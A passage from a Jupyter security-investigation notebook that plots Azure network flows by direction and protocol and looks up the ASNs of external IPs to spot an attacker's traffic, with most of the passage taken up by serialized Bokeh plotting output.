lumnDataSource\"},{\"attributes\":{},\"id\":\"3408\",\"type\":\"Selection\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"3163\"},{\"id\":\"3164\"},{\"id\":\"3165\"},{\"id\":\"3166\"},{\"id\":\"3167\"},{\"id\":\"3168\"},{\"id\":\"3169\"},{\"id\":\"3170\"},{\"id\":\"3171\"},{\"id\":\"3172\"},{\"id\":\"3173\"},{\"id\":\"3174\"}]},\"id\":\"3130\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_color\":{\"value\":\"blue\"},\"line_color\":{\"value\":\"blue\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3535\",\"type\":\"Circle\"}],\"root_ids\":[\"3544\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"0fac9461-acf3-4fdc-9ab2-e47478a0153c\",\"root_ids\":[\"3544\"],\"roots\":{\"3544\":\"b536aa9c-1803-485d-bb4a-d397433f83e4\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "3544"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "timeline_plot = nbdisplay.display_timeline(\n",
    "    data=az_net_comms_df,\n",
    "    group_by=\"FlowDirection\",\n",
    "    title=\"Network Flows by Direction - Note unusual cluster of inbound traffic\",\n",
    "    time_column=\"FlowStartTime\",\n",
    "    source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n",
    "    height=150,\n",
    "    legend=\"right\",\n",
    "    yaxis=True\n",
    ")\n",
    "flow_plot = nbdisplay.display_timeline_values(\n",
    "    data=az_net_comms_df[az_net_comms_df[\"L7Protocol\"] != \"https\"],\n",
    "    group_by=\"L7Protocol\",\n",
    "    source_columns=[\"FlowStartTime\",\n",
    "                    \"FlowType\", \n",
    "                    \"AllExtIPs\", \n",
    "                    \"L7Protocol\", \n",
    "                    \"FlowDirection\", \n",
    "                    \"TotalAllowedFlows\"],\n",
    "    time_column=\"FlowStartTime\",\n",
    "    title=\"Network flows by Layer 7 Protocol\",\n",
    "    y=\"TotalAllowedFlows\",\n",
    "    legend=\"right\",\n",
    "    height=400,\n",
    "    kind=[\"vbar\", \"circle\"]\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Lookup the ASN of the external IPs and see if there are unusual items\n",
    "\n",
    "Note: the WHOIS lookups for each IP take some time...\n",
    "\n",
    "In plot that there is a single IP flow burst for only a few ASNs (e.g. `AS-GLOBALTELEHOST, US` - the IP Address of our attacker) - most others are repeated over time."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:15:21.066890Z",
     "start_time": "2020-08-25T19:15:17.993889Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "......................................................................................"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"3821\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"3821\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"3821\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"1bf43e63-98e1-4e4f-8789-8046a8645fc3\" data-root-id=\"4002\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  var docs_json = {\"e9cb553a-245d-4d61-bdfa-1ec73fa62513\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"3833\"},{\"id\":\"3865\"}]},\"id\":\"4002\",\"type\":\"Column\"},{\"attributes\":{\"data_source\":{\"id\":\"3829\"},\"glyph\":{\"id\":\"3920\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3921\"},\"selection_glyph\":null,\"view\":{\"id\":\"3923\"}},\"id\":\"3922\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4038\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"3829\"}},\"id\":\"3923\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"4012\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"4039\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"4041\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"205.185.216.42\",\"205.185.216.42\",\"205.185.216.10\"],\"ExtASN\":[\"HIGHWINDS3, US\",\"HIGHWINDS3, US\",\"HIGHWINDS3, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIBqv7+OdkIAgMmdh452QgAAfWkgjXZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\"],\"index\":[220,331,774],\"y_index\":[7,7,7]},\"selected\":{\"id\":\"4036\"},\"selection_policy\":{\"id\":\"4037\"}},\"id\":\"3829\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"4040\",\"type\":\"Selection\"},{\"attributes\":{\"axis\":{\"id\":\"3844\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"3847\",\"type\":\"Grid\"},{\"attributes\":{\"label\":{\"value\":\"AKAMAI-AS, US\"},\"renderers\":[{\"id\":\"3944\"}]},\"id\":\"3946\",\"type\":\"LegendItem\"},{\"attributes\":{\"overlay\":{\"id\":\"3935\"},\"x_range\":{\"id\":\"3836\"},\"y_range\":null},\"id\":\"3934\",\"type\":\"RangeTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"4011\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"4044\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_color\":{\"value\":\"#4FC369\"},\"line_color\":{\"value\":\"#4FC369\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3925\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#4FC369\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#4FC369\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3990\",\"type\":\"Diamond\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"4046\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"3830\"}},\"id\":\"3928\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"4017\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3842\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"4014\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_color\":{\"value\":\"#83D34B\"},\"line_color\":{\"value\":\"#83D34B\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3930\",\"type\":\"Circle\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"4043\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"4013\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"4045\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"3830\"},\"glyph\":{\"id\":\"3925\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3926\"},\"selection_glyph\":null,\"view\":{\"id\":\"3928\"}},\"id\":\"3927\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"4015\",\"type\":\"DaysTicker\"},{\"attributes\":{\"text\":\"Timeline: Network Flows by ASN\"},\"id\":\"3834\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#4FC369\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#4FC369\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3926\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"4016\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"4047\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"3831\"}},\"id\":\"3933\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"4050\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"4010\"},{\"id\":\"4011\"},{\"id\":\"4012\"},{\"id\":\"4013\"},{\"id\":\"4014\"},{\"id\":\"4015\"},{\"id\":\"4016\"},{\"id\":\"4017\"},{\"id\":\"4018\"},{\"id\":\"4019\"},{\"id\":\"4020\"},{\"id\":\"4021\"}]},\"id\":\"3845\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"4018\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"3935\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"3939\"},\"ticker\":{\"id\":\"3845\"}},\"id\":\"3844\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"4048\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"4049\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"3840\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"4019\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"3831\"},\"glyph\":{\"id\":\"3930\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3931\"},\"selection_glyph\":null,\"view\":{\"id\":\"3933\"}},\"id\":\"3932\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#83D34B\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#83D34B\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3931\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"4020\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"4051\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3939\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"4022\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"4052\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"end\":1550287059000.0,\"start\":1549575279000.0},\"id\":\"3836\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3942\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4021\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#83D34B\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#83D34B\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3997\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4023\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"4053\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"4025\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"3822\"},\"glyph\":{\"id\":\"3942\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3943\"},\"selection_glyph\":null,\"view\":{\"id\":\"3945\"}},\"id\":\"3944\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3849\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"4024\",\"type\":\"Selection\"},{\"attributes\":{\"end\":9.1,\"start\":-0.1},\"id\":\"3838\",\"type\":\"Range1d\"},{\"attributes\":{\"label\":{\"value\":\"AKAMAI-ASN1, US\"},\"renderers\":[{\"id\":\"3950\"}]},\"id\":\"3952\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"4054\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"4027\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"4026\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"3822\"}},\"id\":\"3945\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3943\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4029\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"below\":[{\"id\":\"3876\"},{\"id\":\"3881\"}],\"center\":[{\"id\":\"3879\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"3887\"},{\"id\":\"3892\"},{\"id\":\"3897\"},{\"id\":\"3902\"},{\"id\":\"3907\"},{\"id\":\"3912\"},{\"id\":\"3917\"},{\"id\":\"3922\"},{\"id\":\"3927\"},{\"id\":\"3932\"}],\"title\":{\"id\":\"3866\"},\"toolbar\":{\"id\":\"3880\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"3868\"},\"x_scale\":{\"id\":\"3872\"},\"y_range\":{\"id\":\"3870\"},\"y_scale\":{\"id\":\"3874\"}},\"id\":\"3865\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"label\":{\"value\":\"AMAZON-02, US\"},\"renderers\":[{\"id\":\"3956\"}]},\"id\":\"3958\",\"type\":\"LegendItem\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"13.107.4.50\",\"13.107.4.50\",\"13.107.4.50\",\"13.107.4.50\",\"13.107.4.50\",\"40.80.145.38\",\"40.87.63.92\",\"13.107.4.50\"],\"ExtASN\":[\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\",\"MICROSOFT-CORP-MSN-AS-BLOCK, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABpjdeOdkIAAExA9o52QgAAyAPajnZCAACey6WOdkIAgMmdh452QgCAgamHjnZCAICBqYeOdkIAAIp0Po52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[8]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\"],\"index\":[17,89,184,293,328,343,344,594],\"y_index\":[9,9,9,9,9,9,9,9]},\"selected\":{\"id\":\"4040\"},\"selection_policy\":{\"id\":\"4041\"}},\"id\":\"3831\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"4028\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"3823\"},\"glyph\":{\"id\":\"3948\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3949\"},\"selection_glyph\":null,\"view\":{\"id\":\"3951\"}},\"id\":\"3950\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"data_source\":{\"id\":\"3831\"},\"glyph\":{\"id\":\"3996\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3997\"},\"selection_glyph\":null,\"view\":{\"id\":\"3999\"}},\"id\":\"3998\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4031\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#482172\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#482172\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3948\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4030\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1E9A89\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1E9A89\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3979\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4033\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"below\":[{\"id\":\"3844\"}],\"center\":[{\"id\":\"3847\"},{\"id\":\"3851\"}],\"left\":[{\"id\